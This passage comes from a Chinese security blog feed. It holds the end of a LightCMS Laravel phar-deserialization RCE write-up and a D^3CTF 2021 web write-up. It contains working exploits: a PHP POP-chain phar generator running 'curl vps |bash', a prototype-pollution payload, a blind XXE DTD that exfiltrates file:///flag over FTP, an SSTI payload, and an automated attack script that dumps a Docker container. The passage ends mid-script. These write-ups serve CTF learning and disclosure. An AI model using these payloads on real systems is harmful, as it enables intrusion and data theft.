src="/2021/05/10/lightcms-RCE/image-20210510002401236.png" alt="image-20210510002401236"></p><p>跟进分析 fetchImageFile：</p><p><img src="/2021/05/10/lightcms-RCE/image-20210510002453997.png" alt="image-20210510002453997"></p><p>可以看到使用了curl来获取远程资源的内容，然后使用 Image:make 模块进行解析。并且对后缀也进行了严格的过滤。同时这个 cms 大多都是数据库操作，涉及文件操作少之又少，看起来是无法直接RCE的。</p><p>laravel 框架开发我自然联想到了反序列化，并且这个cms 后台还是有图片上传功能的，能不能利用 phar 反序列化实现 RCE 呢？</p><h3 id="POP链"><a href="#POP链" class="headerlink" title="POP链"></a>POP链</h3><p>正式版本Laravel 版本是 6.20.16，测试发现 5.8 版本利用 <code>dispatch</code>方法的RCE链在6.20.16版本可以使用。经过测试 7.x 版本也可以使用这条链。<a href="https://www.anquanke.com/post/id/231079">这篇文章</a>分析到了laravel 8 的链子，不过多赘述了。</p><h3 id="文件上传"><a href="#文件上传" class="headerlink" title="文件上传"></a>文件上传</h3><p>有了 RCE 链，我们需要将 phar 文件传上去。patch 过的远程下载图片功能，使用了<code>Intervention\Image\Facades\Image</code>库来进行图片解析，对文件内容检查较为严格，但是本地图片上传处较为松散，使用一般的添加 GIF 文件头的方法就可以成功上传。</p><h3 id="触发点"><a href="#触发点" class="headerlink" title="触发点"></a>触发点</h3><p>最后一步也就是相对困难的一步，需要找到触发phar的点，即我们可控的一个文件处理函数。其实前面提到了这个cms并没有太多文件操作。</p><p>注意到修复代码 <code>fetchImageFile</code>函数存在如下操作：</p><p><img src="/2021/05/10/lightcms-RCE/image-20210510003422513.png" alt="image-20210510003422513"></p><p>在获取到远程url的内容后，会调用 <code>Intervention\Image\Facades\Image</code>的 <code>make</code>方法，对图片内容进行解析。</p><p>看到这里我隐约想起之前见过 <code>Image:make($url)</code>这种用法，那么这里的 url 能不能有类似 file_get_content 之类的文件操作呢？</p><p>跟进，会跳到 <code>vendor/intervention/image/src/Intervention/Image/AbstractDecoder.php</code>中 <code>AbstractDecoder</code>类的 <code>init</code>方法，判断数据类型：</p><p><img src="/2021/05/10/lightcms-RCE/image-20210510003643456.png" alt="image-20210510003643456"></p><p>可以看到 data 不仅可以是图片的二进制数据 ，还可以是这些数据格式，跟进 <code>initFromUrl</code>方法：</p><p><img src="/2021/05/10/lightcms-RCE/image-20210510003659411.png" alt="image-20210510003659411"></p><p>非常明显的 file_get_contents，那么最后触发点的问题也解决了，我们可以在 vps 上放置一个 txt 文件，内容为 <code>phar://./upload/xxx</code>，然后让服务器来取这个文件，即可触发反序列化。</p><h3 id="RCE流程"><a href="#RCE流程" class="headerlink" title="RCE流程"></a>RCE流程</h3><p>首先生成 phar 文件:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Illuminate</span>\<span class="title">Broadcasting</span>&#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">PendingBroadcast</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="title">protected</span> $<span class="title">events</span>;</span><br><span class="line">        <span class="keyword">protected</span> $event;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$events, $event</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;events = $events;</span><br><span class="line">            <span class="keyword">$this</span>-&gt;event = $event;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="class"><span class="keyword">class</span> <span class="title">BroadcastEvent</span></span></span><br><span class="line"><span class="class">    </span>&#123;</span><br><span class="line">      <span class="keyword">protected</span> $connection;</span><br><span class="line"></span><br><span class="line">      <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$connection</span>)</span></span><br><span class="line"><span class="function">      </span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;connection = $connection;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Illuminate</span>\<span class="title">Bus</span>&#123;</span><br><span class="line">    <span class="title">class</span> <span class="title">Dispatcher</span>&#123;</span><br><span class="line">        <span class="title">protected</span> $<span class="title">queueResolver</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$queueResolver</span>)</span></span><br><span class="line"><span class="function">        </span>&#123;</span><br><span class="line">          <span class="keyword">$this</span>-&gt;queueResolver = $queueResolver;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span>&#123;</span><br><span class="line">    $command = new Illuminate\Broadcasting\BroadcastEvent(&#x27;curl vps |bash&#x27;);</span><br><span class="line"></span><br><span class="line">    $dispater = <span class="keyword">new</span> Illuminate\Bus\Dispatcher(<span class="string">&quot;system&quot;</span>);</span><br><span class="line"></span><br><span class="line">    $PendingBroadcast = <span class="keyword">new</span> Illuminate\Broadcasting\PendingBroadcast($dispater,$command);</span><br><span class="line">    $phar = <span class="keyword">new</span> Phar(<span class="string">&#x27;phar.phar&#x27;</span>);</span><br><span class="line">    $phar -&gt; stopBuffering();</span><br><span class="line">    $phar-&gt;setStub(<span class="string">&quot;GIF89a&quot;</span>.<span class="string">&quot;&lt;?php __HALT_COMPILER(); ?&gt;&quot;</span>); </span><br><span class="line">    $phar -&gt; addFromString(<span class="string">&#x27;test.txt&#x27;</span>,<span class="string">&#x27;test&#x27;</span>);</span><br><span class="line">    $phar -&gt; setMetadata($PendingBroadcast);</span><br><span class="line">    $phar -&gt; stopBuffering();</span><br><span class="line">    rename(<span class="string">&#x27;phar.phar&#x27;</span>,<span class="string">&#x27;phar.jpg&#x27;</span>);</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在后台添加文章处上传图片：</p><p><img src="/2021/05/10/lightcms-RCE/image-20210510003829527.png" alt="image-20210510003829527"></p><p>得到文件路径 <code>upload/image/202102/AciwTtmKQ7IQN4gdeoiZ6ve4A0LSK48SGJGk38df.gif</code>。</p><p>在 vps 上放置一个文件，内容为 <code>phar://./upload/image/202102/AciwTtmKQ7IQN4gdeoiZ6ve4A0LSK48SGJGk38df.gif</code>，让服务器来取这个文件：</p><p><img src="/2021/05/10/lightcms-RCE/image-20210510003921345.png" alt="image-20210510003921345"></p><p>可以反弹shell：</p><p><img src="/2021/05/10/lightcms-RCE/image-20210510003934994.png" alt="image-20210510003934994"></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这个漏洞虽然利用起来并不算复杂，但是 phar 触发点相对隐秘一些，不容易被发现，这个操作也是之前没有见过的（感觉很适合CTF 2333），还是挺有趣的，只可惜感觉打的人不太多。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;之前为了熟悉下 laravel，找了个基于 laravel 开发的 cms 审计练练手，瞄准了 lightcms。&lt;/p&gt;
&lt;p&gt;先是挖到了一个比较简单的任意文件读取&amp;amp;RCE漏洞，提了issue被修复后又简单审计了一波，挖掘到了一个有意思的RCE，感觉很适合 CTF，就拿来出题了，被用做了今年红帽杯的初赛。很遗憾由于放出题目时间较晚+很多dalao去打津门杯了，这道题只有两个队伍解出。&lt;/p&gt;
&lt;p&gt;题目环境链接：&lt;a href=&quot;https://github.com/gml-sec/My-CTF-Challenges/tree/main/2021-Redhat-ezlight&quot;&gt;https://github.com/gml-sec/My-CTF-Challenges/tree/main/2021-Redhat-ezlight&lt;/a&gt;。&lt;/p&gt;</summary>
    
    
    
    <category term="PHP" scheme="https://igml.top/categories/PHP/"/>
    
    <category term="Web" scheme="https://igml.top/categories/PHP/Web/"/>
    
    <category term="反序列化" scheme="https://igml.top/categories/PHP/Web/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
    
    <category term="PHP" scheme="https://igml.top/tags/PHP/"/>
    
    <category term="laravel" scheme="https://igml.top/tags/laravel/"/>
    
    <category term="反序列化" scheme="https://igml.top/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
    
  </entry>
  
  <entry>
    <title>2021 D^3CTF Web 部分wp</title>
    <link href="https://igml.top/2021/03/08/2021-D3CTF/"/>
    <id>https://igml.top/2021/03/08/2021-D3CTF/</id>
    <published>2021-03-08T08:43:36.000Z</published>
    <updated>2021-03-08T11:48:58.103Z</updated>
    
    <content type="html"><![CDATA[<p>周末两天几乎都在肝D^3CTF，本来队里打的人就不多，题质量还很高而且题量也不少，所以打的非常累。 Web 基本一人单搞，后来把队里逆向（全栈）大佬拉来一起搞 shellgen，浪费了不少时间。</p><p>最后成绩是第四名（果然是 Redbud-Misc 队，AK Misc），脑王yyds，这里记录下三道Web的wp。</p><a id="more"></a><img src="/2021/03/08/2021-D3CTF/image-20210308190727832.png" alt="image-20210308190727832" style="zoom:50%;"><h2 id="8-bit-pub"><a href="#8-bit-pub" class="headerlink" title="8-bit pub"></a>8-bit pub</h2><h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h3><p>先要登陆admin。</p><p>传入的username和password如果用json提交，可以传入dict。如果password是个dict，会把key名字作为列查询，构造Payload: </p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">&quot;username&quot;</span>:<span class="string">&quot;admin&quot;</span>,<span class="attr">&quot;password&quot;</span>:&#123;<span class="attr">&quot;username&quot;</span>:<span class="string">&quot;admin&quot;</span>&#125;&#125;</span><br></pre></td></tr></table></figure><p>即可登陆admin。</p><p>进入admin，可以发邮件的功能，使用了 nodemailer。前面使用了shvl 来进行赋值，猜测有原型链污染。查看版本，发现 shvl 是 2.0.2 的版本，原型链污染被修复：</p><p><img src="/2021/03/08/2021-D3CTF/JNoBlTqeMr3JZA1oWU54M_ZWo7CrJ01GspHHPdgkoBit9Jd1RIl30S0BhFNLpxYKa0hWyhFGkCaQZfFqyqUrYTXuNbaRUZaiyD5SviOf6b1C4oXQBB6V7Gev5wXD7Yb7rY0L4jqO.png" alt="img"></p><p>但是仅仅过滤了关键字__proto__，可以使用 prototype 绕过。</p><p>原始的利用：</p><img src="/2021/03/08/2021-D3CTF/mPACSo-7KERY1x58_2hFnEDuja_G_jbRZgeGU7p5yQilELEqAMww0lggbZimkRLhhmUH4g-bsrMWeH0lmqWd1SsWdH12nk5EsZhNWf6_iTNpNV8EXBROgKtzAtSpLKJx-xDqbfmI.png" alt="img" style="zoom:50%;"><p>可以使用prototype绕过，payload：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">a.constructor.prototype.path</span><br></pre></td></tr></table></figure><p>接下来需要在 nodemailer 里找rce的点，搜关键字发现了存在一个命令执行的点：</p><img src="/2021/03/08/2021-D3CTF/w32rGyw-n0Nmg7NWPZ9rc4HHJvqoGbbhZ3Bx8maQxKm8slrulLKGXD-9DWHISq8CINqN58Gv_aURe84W5m6nZdOyYCP0ETMWAYIpwP5P0mcqAjLZTSb_lYkx5RJKjhx11R5_5WSB.png" alt="img" style="zoom:50%;"><p>存在调用：</p><img src="/2021/03/08/2021-D3CTF/6wUGhVotlC5QKgc-kbVWXiSXBRYgXNGAC7GqDhP2MC45tiYKA3A6r7c7cahi_uXmV5sLRc9MKyPZrjeCjeSfe4sZ_gOFyJ5IPIZoakVWrOHMh0hnmWupUtJZcdrimsHvpQYmrVG2.png" alt="img" style="zoom:50%;"><p>原本是执行sendmail的，可以考虑污染 this.path，就可以rce了。追踪源码，寻找 this.path 的赋值：</p><p><img src="/2021/03/08/2021-D3CTF/EKV5IETE1fYX1XFBlQyoNuFoT3H-Ull4syXvhRw60lxJI2LtlLwq8jjBOcjhx6Lpg_nwsrAJZtS_w-iZZkY4cY7yuSK8w9tubMJYUuy_RJbzCXPEHoiihk9r7JyroiWBDe-d_HQ0.png" alt="img"></p><p>Options.path 赋值，那么我们直接向 Object 里污染一个path，就可以了。</p><p>但是要使用 sendmail，在nodemailer/lib/nodemailer.js还有一处if判断：</p><img src="/2021/03/08/2021-D3CTF/wEH2DVHzBS7_dLhM5JeJokDRaQ07wmttykDGHYDTjfxTd8uTrIXGmNIQgTrxJ_hsYMGUoZrHoFfhTtkJ7zhnPOClPyUWM4Z6djK52EgDqbqKg2VEY9WzFg5GPb8P4dw-tVy5yUxe.png" alt="img" style="zoom:50%;"><p>所以还要污染一个pool为0，污染一个sendmail为1。</p><p>最后 spawn 执行命令，不支持管道符之类的，所以 /readflag &gt; /tmp/gml 这种无法直接执行。</p><p>注意到有args，可以为命令附带参数。看看这个args怎么赋值的：</p><img src="/2021/03/08/2021-D3CTF/p-xOu8p_m0U7fj2F8F0ccBoj5nL2ZsD71bKQzWY2zYANynVRwP5Noie7m8PS8lQW5cZVLfeGkuHkaZc8OnIpoKro1em10kdzcH49H4Xx8gQOqvghyLcjmlma-emOhnYnq2eugIJF.png" alt="img" style="zoom: 50%;"><p>也可以进行污染，但是在执行前，加了个 -i 参数：</p><p><img src="/2021/03/08/2021-D3CTF/zP-1m-vQp7DdOdNOK8HytgVbaB7efTFC8k8ITjZ7Y-xdnMwCBeB2mqmhVX_Mgm19PPSYUIbsULS239jCt25DSlBG5LoKwMaD4x061o6imHCKNT_fBCFxSWadKtAeQ6lLB4Aw-EJa.png" alt="img"></p><p>尝试 curl -i，wget -i 之类的，但是无法把命令执行的结果带出。</p><p>最后测试可以 bash -i -c 这样：</p><p><code>spawn(&#39;bash&#39;,[&#39;-i&#39;,&#39;-c&#39;,&#39;ls &gt; /tmp/gml&#39;]);</code></p><p>本地测试成功执行。然后发邮件功能我们可以指定附件，把 /tmp/gml 通过邮件给发过来。</p><h3 id="攻击"><a href="#攻击" class="headerlink" title="攻击"></a>攻击</h3><p>首先原型链污染，执行命令，payload：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">&quot;subject&quot;</span>:<span class="string">&quot;123&quot;</span>,<span class="attr">&quot;text&quot;</span>:<span class="string">&quot;123&quot;</span>,<span class="attr">&quot;a.constructor.prototype.path&quot;</span>:<span class="string">&quot;sh&quot;</span>,<span class="attr">&quot;a.constructor.prototype.pool&quot;</span>:<span class="number">0</span>,<span class="attr">&quot;a.constructor.prototype.sendmail&quot;</span>:<span class="number">1</span>,<span class="attr">&quot;a.constructor.prototype.args&quot;</span>:[<span class="string">&quot;-c&quot;</span>,<span class="string">&quot;/readflag&gt;/tmp/gml&quot;</span>]&#125;</span><br></pre></td></tr></table></figure><p>把flag写进/tmp/flag。再通过发邮件附件的形式，把flag给我发过来。翻阅文档发送附件的方法，payload：</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;<span class="attr">&quot;to&quot;</span>:<span class="string">&quot;xxx@qq.com&quot;</span>,<span class="attr">&quot;subject&quot;</span>:<span class="string">&quot;123&quot;</span>,<span class="attr">&quot;text&quot;</span>:<span class="string">&quot;123&quot;</span>,<span class="attr">&quot;attachments&quot;</span>:[&#123;<span class="attr">&quot;filename&quot;</span>:<span class="string">&quot;gml.txt&quot;</span>,<span class="attr">&quot;path&quot;</span>:<span class="string">&quot;/tmp/gml&quot;</span>&#125;]&#125;</span><br></pre></td></tr></table></figure><p><img src="/2021/03/08/2021-D3CTF/5aiWUmG8S1x0uEsU1N-VSaQOwiXtTwL6_lzQIc4YAJWEKH-55wo9pZECJfk4hkUkc5NvCWRofRTI3ck-sJX2vPSvjpuVFh-YzknIe8izOhaGqOJ0KHxNtkj1YMZkpV3cim5j170D.png" alt="img"></p><h2 id="Real-cloud-storage"><a href="#Real-cloud-storage" class="headerlink" title="Real_cloud_storage"></a>Real_cloud_storage</h2><p>上传文件，往fn10085032.serverless.cloud.d3ctf.io发包，可以指定endpoint 与backet。</p><p>测试发现可以指定成任意域。设置指定成自己的服务器，观察发来的上传包：</p><p><img src="/2021/03/08/2021-D3CTF/image-20210308173200850.png" alt="image-20210308173200850"></p><p>Google 一下 nos-sdk-java，发现源码：<a href="https://github.com/NetEase-Object-Storage/nos-java-sdk">https://github.com/NetEase-Object-Storage/nos-java-sdk</a></p><p>源码审计，因为我们只有一个upload功能，只有那几个参数，所以关注upload功能的相关源码，但没啥利用的。</p><p>尝试模仿这个包，我们自己构造向 oss 上传文件的包：</p><p><img src="/2021/03/08/2021-D3CTF/IRZvn_IUWBeTQas6Owk9_H8WjyWWDS_I20bWZnyn0lOGG5Br8qCwBWczaNuyTY9igJ5YTYcjWfFtg1iwej3uOtehAJJo17-Dyj4G6iZEF71eBDWlrq-GT62Emnyda78v5_5Jhl-r.png" alt="img"></p><p>返回错误。但是可以看到返回是 xml。上传的 client 是 java，猜测这个 client 会在向 oss 上传后解析返回的 xml 。</p><p>翻阅源码，果然有相关的操作。考虑 xxe 攻击，我们控制返回的response包含 xxe 的payload，使用盲打xxe。</p><p>使用 <a href="https://requestrepo.com/">https://requestrepo.com/</a>，方便控制response，response的 paylaod：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><span class="meta">&lt;!DOCTYPE <span class="meta-keyword">xmlrootname</span> [<span class="meta">&lt;!ENTITY % <span class="meta-keyword">aaa</span> <span class="meta-keyword">SYSTEM</span> <span class="meta-string">&quot;http://vps/ext.dtd&quot;</span>&gt;</span>%aaa;%ccc;%ddd;]&gt;</span></span><br></pre></td></tr></table></figure><p>服务器上的 ext.dtd：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!ENTITY % <span class="meta-keyword">bbb</span> <span class="meta-keyword">SYSTEM</span> <span class="meta-string">&quot;file:///flag&quot;</span>&gt;</span><span class="meta">&lt;!ENTITY % <span class="meta-keyword">ccc</span> <span class="meta-string">&quot;&lt;!ENTITY &amp;#37; ddd SYSTEM &#x27;ftp://vps:2121/%bbb;&#x27;&gt;&quot;</span>&gt;</span></span><br></pre></td></tr></table></figure><p><img src="/2021/03/08/2021-D3CTF/Cd_JSMXDgkuTEPvF09sjnvldT5dRBQ4ovtR3ED0IhLEVP6d6_emdQpAm351h-mxnmC6nyj3_5g0HEvDV9zQChhHFMjIT3TfZZgPJcQd6-cjjoWEPvTl-vnbIsEtd2voMTfJTWiaT.png" alt="img"></p><p><img src="/2021/03/08/2021-D3CTF/CamNVR72syzwTWwiRQJ5OyD1S61zzu9gMyqPOJnygEjqDMlY-R-zHKaHOHTKhelAdQ-rIwVo0GbfsoNKmB5htALIrIeEBzx1p9QY28drCfXuTH9GunkBENjRtSiNPxrTpBrVdvdg.png" alt="img"></p><h2 id="Shellgen"><a href="#Shellgen" class="headerlink" title="Shellgen"></a>Shellgen</h2><p>跟 misc 那道题逻辑基本差不多，就是需要 rce。</p><p>源代码里发现部分伪代码，可以看到python和php的执行都是在docker container里完成的。其中python 使用了 Mount 来挂载目录：</p><p><img src="/2021/03/08/2021-D3CTF/f2prKZ6YUJk2oY99Gj2VVPaAbDzGW0DNp072XsKLOPO4oGLKOlq_GcOvRa6zWmO8blk_0vwq0AaN9-XWpAQLqnAsiiqi-oXd6lXK2aHnjeUuXAsxZ4Mzt-bABu4j85zZoJcGkoMw.png" alt="img"></p><p>运行入容器指定了 read_only。</p><p>本来以为挂载目录只读，就没想用这个python写文件的思路，但是后来本地测试一下发现竟然可以写，并且可以写入外部host中，耽误了很久。赛后问了出题人，这个只是root filesystem只读，并不是所有mount都只读。</p><p>/result 处使用了 render_template，那么如果渲染的result.html文件可控，那么就可以换成正常ssti的payload，就可以rce。</p><p>因为创建目录是 token 直接 os.path.join 拼接，所以可以使用 ../穿越。需要注意 render_template 传入的模版路径如果包含 <code>..</code> 就会报错。</p><p>整个攻击的逻辑有点绕：</p><p>（1）首先我们 token 传入一个随机的token: gml/def，code写什么都行，submit。这样服务器会创建 workdir/gml/def/gen.py以及templates/gml/def/result.html，记得保留下这个session的cookie。</p><p>（2）第二步，我们submit的token是../templates/gml，这样服务器会创建 workdir/../templates/gml/gen.py，以及workdir/../templates/gml/result.html（即 templates/gml/result.html）。注意这时mount的目录是 workdir/../templates/gml，即templates/gml -&gt; /opt，那么code的内容写成向 /opt/def/result.html 写入数据，这样我们实际是向服务器的 templates/gml/def/result.html 写入了数据。</p><p>（3）最后带着第一步保留的token为gml/def 的cookie 去访问 /result，触发render_template，执行命令。</p><p>这里涉及一些detail:</p><p>（1）在第一步时，注意submit后不要带着token是gml/def的session去访问 /result 去check结果，因为 render_template 有缓存，后面即使我们更改了 result.html，也不会重新渲染了。</p><p>（2）第一步submit后，需要等一下，让服务器运行完python，把result.html写入后再进行第二部，否则如果第二步写入的比第一步的早，那么result.html会被第一步写入内容覆盖。</p><p>（3）之所以第一步的token包含了一层路径，是为了防止后面干扰。假如第一步的token是gml，那么第二步里，服务器本身就会向template/gml/result.html里写，python脚本再往里写，可能会存在干扰。但如果加了一层路径，就可以避免这个问题。</p><p>在做这个题的时候，遇到了很多坑。比如刚放出这个题的时候，无论让python输出什么，都返回 detected，没有过wrong answer的回显，然后过了几个小时，就好了… 后面尝试写文件，更玄学，感觉逻辑没有问题，但是check的结果显示没写进去，去找出题人反馈，出题人进题目环境说已经写进去了… 不知道我们这里为什么访问 /result check 不到。</p><p>最后干脆写了个循环脚本，一直在尝试攻击，python 的code也写成了循环写入，终于是做到了跑几次能rce一次（反弹shell无果，curl与ping请求都非常之卡，赛后问了下是香港反代的原因）。</p><p>hint提示flag在另一个container里，也弹不了shell，题目删了 docker 命令，所以仿照题目代码，使用dockerclient 来与docker交互，发现了名为 d3ctf-shellgen-flag 的container。执行什么 bash，sh，pwd 各种命令都显示找不到文件。最后直接写脚本把这个container拖下来：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time, random, base64, requests</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">randid</span>():</span></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">str</span>(random.randint(<span class="number">10</span>**<span class="number">14</span>, <span class="number">10</span>**<span class="number">15</span>))</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">check</span>(<span class="params">sess</span>):</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        r = sess.get(<span class="string">&#x27;http://d9d2f935ab.shellgen.d3ctf.io/result&#x27;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&#x27;wait for a sec&#x27;</span> <span class="keyword">in</span> r.text:</span><br><span class="line">            time.sleep(<span class="number">0.1</span>)</span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        <span class="keyword">return</span> r.text, time.time()</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">py = <span class="string">b&#x27;&#x27;&#x27;from docker import DockerClient, types</span></span><br><span class="line"><span class="string">client = DockerClient()</span></span><br><span class="line"><span class="string">print(client.containers.list())</span></span><br><span class="line"><span class="string">x=client.containers.get(&#x27;d67a893292&#x27;)</span></span><br><span class="line"><span class="string">print(x.id,x.image,x.name,x.status)</span></span><br><span class="line"><span class="string">bits,stat=x.get_archive(&#x27;/&#x27;)</span></span><br><span class="line"><span class="string">print(stat)</span></span><br><span class="line"><span class="string">f=open(&#x27;/tmp/export.tar&#x27;,&#x27;wb&#x27;)</span></span><br><span class="line"><span class="string">for chunk in bits:</span></span><br><span class="line"><span class="string">    f.write(chunk)</span></span><br><span class="line"><span class="string">f.close()</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">cmd = <span class="string">&#x27;echo %s | base64 -d | python3&#x27;</span> % base64.b64encode(py).decode()</span><br><span class="line"> </span><br><span class="line">cmd = <span class="string">&#x27;echo %s | base64 -d | bash | base64&#x27;</span> % base64.b64encode(cmd.encode()).decode()</span><br><span class="line"> </span><br><span class="line">code = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">for i in range(100):</span></span><br><span class="line"><span class="string">    try:</span></span><br><span class="line"><span class="string">        open(&#x27;/opt/def/result.html&#x27;,&#x27;w&#x27;).write(&quot;&#123;% for c in [].__class__.__base__.__subclasses__() %&#125;&#123;% if c.__name__==&#x27;catch_warnings&#x27; %&#125;&#123;&#123; c.__init__.__globals__[&#x27;__builtins__&#x27;].eval(\\&quot;__import__(&#x27;os&#x27;).popen(&#x27;  &#x27;&#x27;&#x27;</span> + cmd + <span class="string">&#x27;&#x27;&#x27; &#x27;).read()\\&quot;) &#125;&#125;&#123;% endif %&#125;&#123;% endfor %&#125;&quot;)</span></span><br><span class="line"><span class="string">    except:</span></span><br><span class="line"><span class="string">        pass</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"> </span><br><span class="line">print(code)</span><br><span class="line"> </span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="built_in">id</span> = randid()</span><br><span class="line">    print(<span class="built_in">id</span>)</span><br><span class="line"> </span><br><span class="line">    s3 = requests.Session()</span><br><span class="line">    s3.post(<span class="string">&#x27;http://d9d2f935ab.shellgen.d3ctf.io/submit&#x27;</span>, data=&#123;<span class="string">&#x27;token&#x27;</span>: randid(), <span class="string">&#x27;code&#x27;</span>: <span class="string">&#x27;pass&#x27;</span>&#125;)</span><br><span class="line">    s1 = requests.Session()</span><br><span class="line">    s1.post(<span class="string">&#x27;http://d9d2f935ab.shellgen.d3ctf.io/submit&#x27;</span>, data=&#123;<span class="string">&#x27;token&#x27;</span>: <span class="built_in">id</span> + <span class="string">&#x27;/def&#x27;</span>, <span class="string">&#x27;code&#x27;</span>: <span class="string">&#x27;print(&quot;&lt;?php &quot;,end=&quot;&quot;)&#x27;</span>&#125;)</span><br><span class="line">    s2 = requests.Session()</span><br><span class="line">    s2.post(<span class="string">&#x27;http://d9d2f935ab.shellgen.d3ctf.io/submit&#x27;</span>, data=&#123;<span class="string">&#x27;token&#x27;</span>: <span class="string">&#x27;../templates/&#x27;</span> + <span class="built_in">id</span>, <span class="string">&#x27;code&#x27;</span>: code&#125;)</span><br><span class="line">    a, b = check(s3)</span><br><span class="line">    print(b)</span><br><span class="line">    c, d = check(s1)</span><br><span class="line">    print(d)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;Wr0ng&#x27;</span> <span class="keyword">not</span> <span 